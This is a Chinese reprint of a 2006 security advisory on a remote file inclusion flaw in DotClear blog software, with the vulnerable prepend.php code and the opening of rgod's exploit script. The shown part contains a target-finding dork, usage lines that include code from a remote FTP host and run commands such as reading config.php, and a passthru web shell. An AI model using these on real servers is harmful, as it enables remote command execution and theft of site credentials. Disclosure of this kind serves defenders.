DotClear prepend.php远程文件包含漏洞

2008-04-09 04:16:23来源:互联网 阅读 ()

新老客户大回馈,云服务器低至5折

DotClear prepend.php远程文件包含漏洞

发布日期:2006-06-03
更新日期:2006-06-03

受影响系统:
Dotclear Dotclear 1.2.4
Dotclear Dotclear 1.2.3
Dotclear Dotclear 1.2.2
Dotclear Dotclear 1.2.1
描述:
BUGTRAQ ID: 18259

dotClear是一个的基于PHP和MySQL的Blog系统。

dotClear的实现上存在输入验证漏洞,远程攻击者可能利用此漏洞在服务器上以Web进程权限执行任意命令。

在dotClear的layout/prepend.php文件78-104行:

...
# Variable de conf
$theme_path = $blog_dc_path.'/themes/';
$theme_uri = dc_app_url.'/themes/';
$img_path = dc_img_url;

# D?finition du th?me et de la langue
$__theme = dc_theme;
$__lang = dc_default_lang;

# Ajout des functions.php des plugins
$objPlugins = new plugins(dirname(__FILE__).'/../'.DC_ECRIRE.'/tools/');
foreach ($objPlugins->getFunctions() as $pfunc) {
require_once $pfunc;
}

# D?finition du template
if (!is_dir($theme_path.$__theme)) {
header('Content-type: text/plain');
echo 'Le th?me '.$__theme.' n\'existe pas';
exit;
}

if (file_exists($theme_path.$__theme.'/template.php')) {
$dc_template_file = $theme_path.$__theme.'/template.php';
} else {
$dc_template_file = $theme_path.'default/template.php';
}
echo $dc_template_file;
# Prepend du template s'il existe
if (file_exists(dirname($dc_template_file).'/prepend.php')) {
require dirname($dc_template_file).'/prepend.php';
}
...

没有正确的过滤$blog_dc_path变量。在PHP5中,由于is_dir()和file_exists()函数支持ftp wrapper,因此攻击者可以从远程资源在themes/default/文件夹中包含任意prepend.php文件并执行PHP代码。

<*来源:rgod (rgod@autistici.org)

链接:http://marc.theaimsgroup.com/?l=bugtraq&m=114945772519229&w=2
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

#!/usr/bin/php -q -d short_open_tag=on

echo "DotClear <= 1.2.4 prepend.php/'blog_dc_path' arbitrary remote inclusion\r\n";
echo "by rgod rgod@autistici.org\r\n";
echo "site: http://retrogod.altervista.org\r\n\r\n";
echo "dork: \"propuls? par DotClear\" \"fil atom\" \"fil rss\" commentaires\r\n\r\n";

/*
works with PHP5
register_globals=On,
allow_url_fopen=On
*/

if ($argc<5) {
echo "Usage: php ".$argv[0]." host path ftp cmd OPTIONS\r\n";
echo "host: target server (ip/hostname)\r\n";
echo "path: path to dotclear\r\n";
echo "ftp: a ftp location (without ending slash)\r\n";
echo "cmd: a shell command\r\n";
echo "Options:\r\n";
echo " -p[port]: specify a port other than 80\r\n";
echo " -P[ip:port]: specify a proxy\r\n";
echo "Examples:\r\n";
echo "php ".$argv[0]." target.com /dotclear/ pass@somehost.com" target="_blank">ftp://username:pass@somehost.com cat ./../conf/config.php\r\n";
echo "php ".$argv[0]." target.com /dotclear/ pass@somehost.com/somedir" target="_blank">ftp://username:pass@somehost.com/somedir ls -la -p81\r\n";
echo "php ".$argv[0]." target.com / pass@somehost.com" target="_blank">ftp://username:pass@somehost.com ls -la -P1.1.1.1:80\r\n";
echo "note, on remote ftp you need this code in themes/default/prepend.php:\r\n";
echo "<?php\r\n";
echo "if (get_magic_quotes_gpc()){\$_REQUEST[\"cmd\"]=stripslashes(\$_REQUEST[\"cmd\"]);}\r\n";
echo "ini_set(\"max_execution_time\",0);\r\n";
echo "echo chr(0x2A).chr(0x64).chr(0x65).chr(0x6C).chr(0x69).chr(0x2A);\r\n";
echo "passthru(\$_REQUEST[\"cmd\"]);\r\n";
echo "echo chr(0x2A).chr(0x64).chr(0x65).chr(0x6C).chr(0x69).chr(0x2A);\r\n";
echo "?>\r\n";
die;
}
/*
software site: http://www.dotclear.net/

vulnerable code in layout/prepend.php near lines 78-104:

...
# Variable de conf
$theme_path = $blog_dc_path.'/themes/';
$theme_uri = dc_app_url.'/themes/';
$img_path = dc_img_url;

# D?finition du th?me et de la langue
$__theme = dc_theme;
$__lang = dc_default_lang;

标签:

版权申明:本站文章部分自网络,如有侵权,请联系:west999com@outlook.com
特别注意:本站所有转载文章言论不代表本站观点,本站所提供的摄影照片,插画,设计作品,如需使用,请与原作者联系,版权归原作者所有

上一篇:Quake 3引擎CL_ParseDownload远程缓冲区溢出漏洞

下一篇:phpBB template.php远程文件包含漏洞